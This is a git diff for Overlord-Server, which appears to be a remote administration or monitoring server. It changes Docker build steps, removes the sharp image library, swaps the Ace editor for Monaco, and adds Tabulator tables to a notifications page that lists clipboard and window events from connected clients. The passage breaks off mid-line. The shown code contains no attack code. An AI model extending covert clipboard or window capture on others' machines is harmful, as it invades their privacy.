diff --git a/Dockerfile b/Dockerfile index 46976c5..f01ad4e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -109,9 +109,12 @@ RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \ echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \ fi -# Tailwind CSS + vendored frontend assets -RUN bun run build:css && bun run vendor \ - && test -s ./public/assets/tailwind.css && test -d ./public/vendor/fontawesome +# Tailwind CSS, vendored frontend assets, and bundled Bun server runtime. +RUN bun run build \ + && test -s ./public/assets/tailwind.css \ + && test -d ./public/vendor/fontawesome \ + && test -s ./dist/index.js \ + && test -s ./dist/server/plugin-runtime/worker-host.js # ============================================================ @@ -151,10 +154,8 @@ COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./ RUN --mount=type=cache,target=/root/.bun/install/cache \ bun install --production --frozen-lockfile -# Server source. -COPY Overlord-Server/ ./ - -# Built artifacts from the builder stage (overwrites anything from the source copy). +# Built runtime artifacts from the builder stage. +COPY --from=builder /app/dist ./dist COPY --from=builder /app/public ./public COPY --from=builder /app/dist-clients ./dist-clients @@ -180,7 +181,4 @@ ENV NODE_ENV=production ENV OVERLORD_ROOT=/app ENV NODE_PATH=/app/node_modules -# NOTE: We intentionally do NOT use `bun build --compile` here. -# The compiled standalone binary runs from a virtual bunfs filesystem that -# cannot reliably load native modules like `sharp` from /app/node_modules. -CMD ["bun", "run", "src/index.ts"] +CMD ["bun", "dist/index.js"] diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index f7f7148..05f624b 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -12,7 +12,6 @@ "geoip-lite": "latest", "jose": "^6.1.3", "msgpackr": "1.11.8", - "sharp": "^0.34.5", "uuid": "^9.0.1", "web-push": "^3.6.7", "winston": "^3.11.0", @@ -38,7 +37,9 @@ "highlight.js": "11.9.0", "html-minifier-terser": "^7.2.0", "leaflet": "1.9.4", + "monaco-editor": "^0.55.1", "postcss": "^8.5.6", + "tabulator-tables": "^6.4.0", "tailwindcss": "^4.1.18", "terser": "^5.46.1", "typescript": "^5.6.3", @@ -52,64 +53,12 @@ "@dabh/diagnostics": ["@dabh/diagnostics@2.0.8", "", { "dependencies": { "@so-ric/colorspace": "^1.1.6", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q=="], - "@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="], - "@fontsource/inter": ["@fontsource/inter@5.2.8", "", {}, "sha512-P6r5WnJoKiNVV+zvW2xM13gNdFhAEpQ9dQJHt3naLvfg+LkF2ldgSLiF4T41lf1SQCM9QmkqPTn4TH568IRagg=="], "@fontsource/jetbrains-mono": ["@fontsource/jetbrains-mono@5.2.8", "", {}, "sha512-6w8/SG4kqvIMu7xd7wt6x3idn1Qux3p9N62s6G3rfldOUYHpWcc2FKrqf+Vo44jRvqWj2oAtTHrZXEP23oSKwQ=="], "@fortawesome/fontawesome-free": ["@fortawesome/fontawesome-free@6.5.2", "", {}, "sha512-hRILoInAx8GNT5IMkrtIt9blOdrqHOnPBH+k70aWUAqPZPgopb9G5EQJFpaBx/S8zp2fC+mPW349Bziuk1o28Q=="], - "@img/colour": ["@img/colour@1.1.0", "", {}, "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ=="], - - "@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.2.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w=="], - - "@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.2.4" }, "os": "darwin", "cpu": "x64" }, "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw=="], - - "@img/sharp-libvips-darwin-arm64": ["@img/sharp-libvips-darwin-arm64@1.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g=="], - - "@img/sharp-libvips-darwin-x64": ["@img/sharp-libvips-darwin-x64@1.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg=="], - - "@img/sharp-libvips-linux-arm": ["@img/sharp-libvips-linux-arm@1.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A=="], - - "@img/sharp-libvips-linux-arm64": ["@img/sharp-libvips-linux-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw=="], - - "@img/sharp-libvips-linux-ppc64": ["@img/sharp-libvips-linux-ppc64@1.2.4", "", { "os": "linux", "cpu": "ppc64" }, "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA=="], - - "@img/sharp-libvips-linux-riscv64": ["@img/sharp-libvips-linux-riscv64@1.2.4", "", { "os": "linux", "cpu": "none" }, "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA=="], - - "@img/sharp-libvips-linux-s390x": ["@img/sharp-libvips-linux-s390x@1.2.4", "", { "os": "linux", "cpu": "s390x" }, "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ=="], - - "@img/sharp-libvips-linux-x64": ["@img/sharp-libvips-linux-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw=="], - - "@img/sharp-libvips-linuxmusl-arm64": ["@img/sharp-libvips-linuxmusl-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw=="], - - "@img/sharp-libvips-linuxmusl-x64": ["@img/sharp-libvips-linuxmusl-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg=="], - - "@img/sharp-linux-arm": ["@img/sharp-linux-arm@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm": "1.2.4" }, "os": "linux", "cpu": "arm" }, "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw=="], - - "@img/sharp-linux-arm64": ["@img/sharp-linux-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg=="], - - "@img/sharp-linux-ppc64": ["@img/sharp-linux-ppc64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-ppc64": "1.2.4" }, "os": "linux", "cpu": "ppc64" }, "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA=="], - - "@img/sharp-linux-riscv64": ["@img/sharp-linux-riscv64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-riscv64": "1.2.4" }, "os": "linux", "cpu": "none" }, "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw=="], - - "@img/sharp-linux-s390x": ["@img/sharp-linux-s390x@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-s390x": "1.2.4" }, "os": "linux", "cpu": "s390x" }, "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg=="], - - "@img/sharp-linux-x64": ["@img/sharp-linux-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ=="], - - "@img/sharp-linuxmusl-arm64": ["@img/sharp-linuxmusl-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg=="], - - "@img/sharp-linuxmusl-x64": ["@img/sharp-linuxmusl-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q=="], - - "@img/sharp-wasm32": ["@img/sharp-wasm32@0.34.5", "", { "dependencies": { "@emnapi/runtime": "^1.7.0" }, "cpu": "none" }, "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw=="], - - "@img/sharp-win32-arm64": ["@img/sharp-win32-arm64@0.34.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g=="], - - "@img/sharp-win32-ia32": ["@img/sharp-win32-ia32@0.34.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg=="], - - "@img/sharp-win32-x64": ["@img/sharp-win32-x64@0.34.5", "", { "os": "win32", "cpu": "x64" }, "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw=="], - "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], "@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="], @@ -224,6 +173,8 @@ "@types/triple-beam": ["@types/triple-beam@1.3.5", "", {}, "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw=="], + "@types/trusted-types": ["@types/trusted-types@2.0.7", "", {}, "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw=="], + "@types/uuid": ["@types/uuid@9.0.8", "", {}, "sha512-jg+97EGIcY9AGHJJRaaPVgetKDsrTgbRjQ5Msgjh/DQKEFl0DtyRr/VCOyD1T2R1MNeWPK/u7JoGhlDZnKBAfA=="], "@types/ws": ["@types/ws@7.4.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww=="], @@ -310,6 +261,8 @@ "detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="], + "dompurify": ["dompurify@3.2.7", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw=="], + "dot-case": ["dot-case@3.0.4", "", { "dependencies": { "no-case": "^3.0.4", "tslib": "^2.0.3" } }, "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w=="], "ecdsa-sig-formatter": ["ecdsa-sig-formatter@1.0.11", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ=="], @@ -426,10 +379,14 @@ "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], + "marked": ["marked@14.0.0", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ=="], + "minimalistic-assert": ["minimalistic-assert@1.0.1", "", {}, "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A=="], "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], + "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="], + "mri": ["mri@1.2.0", "", {}, "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="], "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], @@ -480,10 +437,6 @@ "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], - "semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], - - "sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="], - "source-map": ["source-map@0.6.1", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="], "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], @@ -504,6 +457,8 @@ "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + "tabulator-tables": ["tabulator-tables@6.4.0", "", {}, "sha512-Lxh+leFNoBo/Yyr4USs6gxqbfo8anYUaUMmoT91pfVLtoUgl/dE+qV7ahnFrKVMCYYqGG33aIMPR7FzpPBaNYA=="], + "tailwindcss": ["tailwindcss@4.2.2", "", {}, "sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q=="], "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="], @@ -546,8 +501,6 @@ "yauzl": ["yauzl@3.2.1", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A=="], - "@emnapi/runtime/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], - "@solana/errors/chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], "@solana/errors/commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="], diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index ca41f68..a953c03 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -5,11 +5,12 @@ "type": "module", "scripts": { "dev": "bun --watch src/index.ts", - "start": "bun run build:css && bun run vendor && bun run src/index.ts", - "build": "bun run build:css && bun run vendor && bun build --production --external sharp src/index.ts --target bun --outdir dist", + "start": "bun run build && bun dist/index.js", + "build": "bun run build:css && bun run vendor && bun run build:bundle", + "build:bundle": "bun build --production src/index.ts --target bun --outfile dist/index.js && bun build --production src/server/plugin-runtime/worker-host.ts --target bun --outfile dist/server/plugin-runtime/worker-host.js", "vendor": "bun run scripts/vendor.ts", - "build:prod:win": "bun build --production --external sharp src/index.ts --compile --target bun-windows-x64 --outfile dist/overlord-server.exe", - "build:prod:linux": "bun build --production --external sharp src/index.ts --compile --target bun-linux-x64 --outfile dist/overlord-server-linux-x64", + "build:prod:win": "bun build --production src/index.ts --compile --target bun-windows-x64 --outfile dist/overlord-server.exe", + "build:prod:linux": "bun build --production src/index.ts --compile --target bun-linux-x64 --outfile dist/overlord-server-linux-x64", "build:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --minify", "watch:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --watch", "minify": "bun run scripts/minify-public.ts" @@ -22,7 +23,6 @@ "geoip-lite": "latest", "jose": "^6.1.3", "msgpackr": "1.11.8", - "sharp": "^0.34.5", "uuid": "^9.0.1", "web-push": "^3.6.7", "winston": "^3.11.0" @@ -48,7 +48,9 @@ "highlight.js": "11.9.0", "html-minifier-terser": "^7.2.0", "leaflet": "1.9.4", + "monaco-editor": "^0.55.1", "postcss": "^8.5.6", + "tabulator-tables": "^6.4.0", "tailwindcss": "^4.1.18", "terser": "^5.46.1", "typescript": "^5.6.3" diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 5dea6d2..0182d00 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -35,6 +35,60 @@ --color-danger: #ef4444; } +.monaco-editor, +.monaco-editor .margin, +.monaco-editor-background { + --vscode-editor-background: #020617; +} + +.overlord-tabulator.tabulator { + background: #020617; + border: 1px solid rgb(30 41 59); + border-radius: 0.75rem; + color: #e2e8f0; + min-height: 12rem; + overflow: hidden; +} + +.overlord-tabulator .tabulator-header { + background: #0f172a; + border-bottom-color: rgb(30 41 59); + color: #94a3b8; +} + +.overlord-tabulator .tabulator-header .tabulator-col { + background: #0f172a; + border-right-color: rgb(30 41 59); +} + +.overlord-tabulator .tabulator-header .tabulator-col:hover { + background: #162033; +} + +.overlord-tabulator .tabulator-row { + background: #020617; + border-bottom-color: rgba(30, 41, 59, 0.85); + color: #e2e8f0; +} + +.overlord-tabulator .tabulator-row.tabulator-row-even { + background: #07101f; +} + +.overlord-tabulator .tabulator-row:hover { + background: #111827; +} + +.overlord-tabulator .tabulator-cell { + border-right-color: rgba(30, 41, 59, 0.75); + padding: 0.5rem 0.75rem; +} + +.overlord-tabulator .tabulator-placeholder { + background: #020617; + color: #94a3b8; +} + :root:not(.app-ready) #app-loader { opacity: 1; visibility: visible; diff --git a/Overlord-Server/public/assets/monaco-loader.js b/Overlord-Server/public/assets/monaco-loader.js new file mode 100644 index 0000000..33ee97d --- /dev/null +++ b/Overlord-Server/public/assets/monaco-loader.js @@ -0,0 +1,56 @@ +let monacoPromise = null; + +export function loadMonaco() { + if (window.monaco?.editor) return Promise.resolve(window.monaco); + if (monacoPromise) return monacoPromise; + + monacoPromise = new Promise((resolve, reject) => { + const configure = () => { + if (typeof window.require !== "function") { + reject(new Error("Monaco loader is unavailable")); + return; + } + window.require.config({ paths: { vs: "/vendor/monaco/vs" } }); + window.require(["vs/editor/editor.main"], () => resolve(window.monaco), reject); + }; + + if (typeof window.require === "function") { + configure(); + return; + } + + const script = document.createElement("script"); + script.src = "/vendor/monaco/vs/loader.js"; + script.defer = true; + script.onload = configure; + script.onerror = () => reject(new Error("Failed to load Monaco")); + document.head.appendChild(script); + }); + + return monacoPromise; +} + +export function createMonacoEditorAdapter(editor, monaco) { + return { + getValue: () => editor.getValue(), + setValue(value) { + editor.setValue(value || ""); + }, + setLanguage(language) { + const model = editor.getModel(); + if (model) monaco.editor.setModelLanguage(model, language); + }, + setSize(_width, height) { + const domNode = editor.getDomNode(); + const host = domNode?.parentElement; + if (host && height) host.style.height = height; + editor.layout(); + }, + refresh() { + editor.layout(); + }, + focus() { + editor.focus(); + }, + }; +} diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js index 28719f9..8106c7f 100644 --- a/Overlord-Server/public/assets/notifications.js +++ b/Overlord-Server/public/assets/notifications.js @@ -11,13 +11,14 @@ import { requestDesktopNotificationPermission, setDesktopNotificationsEnabled, } from "./notify-client.js"; +import { createMonacoEditorAdapter, loadMonaco } from "./monaco-loader.js"; +import { TabulatorFull as Tabulator } from "/vendor/tabulator/tabulator_esm.min.js"; // ── DOM refs ────────────────────────────────────────────────────────────────── const wsStatus = document.getElementById("ws-status"); -const listEl = document.getElementById("notification-list"); +const tableEl = document.getElementById("notification-table"); const emptyState = document.getElementById("empty-state"); const notificationScopeHint = document.getElementById("notification-scope-hint"); -const tableHead = document.getElementById("notification-thead"); const searchInput = document.getElementById("notification-search"); const resultHint = document.getElementById("notification-result-hint"); @@ -83,6 +84,7 @@ const MAX_ROWS = 200; let defaultWebhookTemplate = ""; let defaultTelegramTemplate = ""; let webhookTemplateEditor = null; +let notificationTable = null; function tryFormatJsonText(text) { const source = String(text || "").trim(); @@ -94,26 +96,57 @@ function tryFormatJsonText(text) { } } -function initWebhookTemplateEditor() { - if (!webhookTemplateInput || typeof window.ace === "undefined") return; +async function initWebhookTemplateEditor() { + if (!webhookTemplateInput) return; try { - webhookTemplateEditor = window.ace.edit("webhook-template"); - webhookTemplateEditor.setTheme("ace/theme/tomorrow_night"); - webhookTemplateEditor.session.setMode("ace/mode/json"); - webhookTemplateEditor.session.setUseWrapMode(true); - webhookTemplateEditor.setShowPrintMargin(false); - webhookTemplateEditor.setOption("fontSize", "12px"); - webhookTemplateEditor.setOption("tabSize", 2); - webhookTemplateEditor.setOption("useSoftTabs", true); - webhookTemplateEditor.on("blur", () => { - const formatted = tryFormatJsonText(webhookTemplateEditor.getValue()); - if (formatted !== null && formatted !== webhookTemplateEditor.getValue()) { - const position = webhookTemplateEditor.getCursorPosition(); - webhookTemplateEditor.setValue(formatted, -1); - webhookTemplateEditor.moveCursorToPosition(position); + const monaco = await loadMonaco(); + const host = document.createElement("div"); + host.className = "w-full rounded-lg border border-slate-800 overflow-hidden"; + host.style.height = "180px"; + webhookTemplateInput.classList.add("hidden"); + webhookTemplateInput.insertAdjacentElement("afterend", host); + + monaco.editor.defineTheme("overlord-json", { + base: "vs-dark", + inherit: true, + rules: [], + colors: { + "editor.background": "#020617", + "editor.foreground": "#e2e8f0", + "editor.lineHighlightBackground": "#0f172a", + "editorCursor.foreground": "#38bdf8", + "editor.selectionBackground": "#2563eb66", + "editorGutter.background": "#020617", + }, + }); + + const editor = monaco.editor.create(host, { + value: webhookTemplateInput.value || "", + language: "json", + theme: "overlord-json", + automaticLayout: true, + fontFamily: '"JetBrains Mono", Consolas, "Courier New", monospace', + fontSize: 12, + minimap: { enabled: false }, + scrollBeyondLastLine: false, + tabSize: 2, + insertSpaces: true, + wordWrap: "on", + padding: { top: 8, bottom: 8 }, + }); + + webhookTemplateEditor = createMonacoEditorAdapter(editor, monaco); + editor.onDidBlurEditorWidget(() => { + const current = webhookTemplateEditor.getValue(); + const formatted = tryFormatJsonText(current); + if (formatted !== null && formatted !== current) { + const position = editor.getPosition(); + webhookTemplateEditor.setValue(formatted); + if (position) editor.setPosition(position); } }); - } catch { + } catch (err) { + console.warn("Monaco webhook editor unavailable; falling back to textarea", err); webhookTemplateEditor = null; } } @@ -247,6 +280,35 @@ function compareEntries(a, b) { return tableState.sortDir === "asc" ? cmp : -cmp; } +function sourceHtml(entry) { + if (entry.kind === "event") { + return CLIENT_EVENT_BADGE[entry.item.event] || + `${escapeHtml(entry.item.event)}`; + } + const isClipboard = entry.item.category === "clipboard"; + return isClipboard + ? ` clipboard` + : ` window`; +} + +function entryToRow(entry) { + const item = entry.item; + return { + uid: entry.uid, + kind: entry.kind, + item, + isLive: entry.isLive, + ts: Number(item.ts) || 0, + clientId: item.clientId || "", + user: item.user || "-", + title: entry.kind 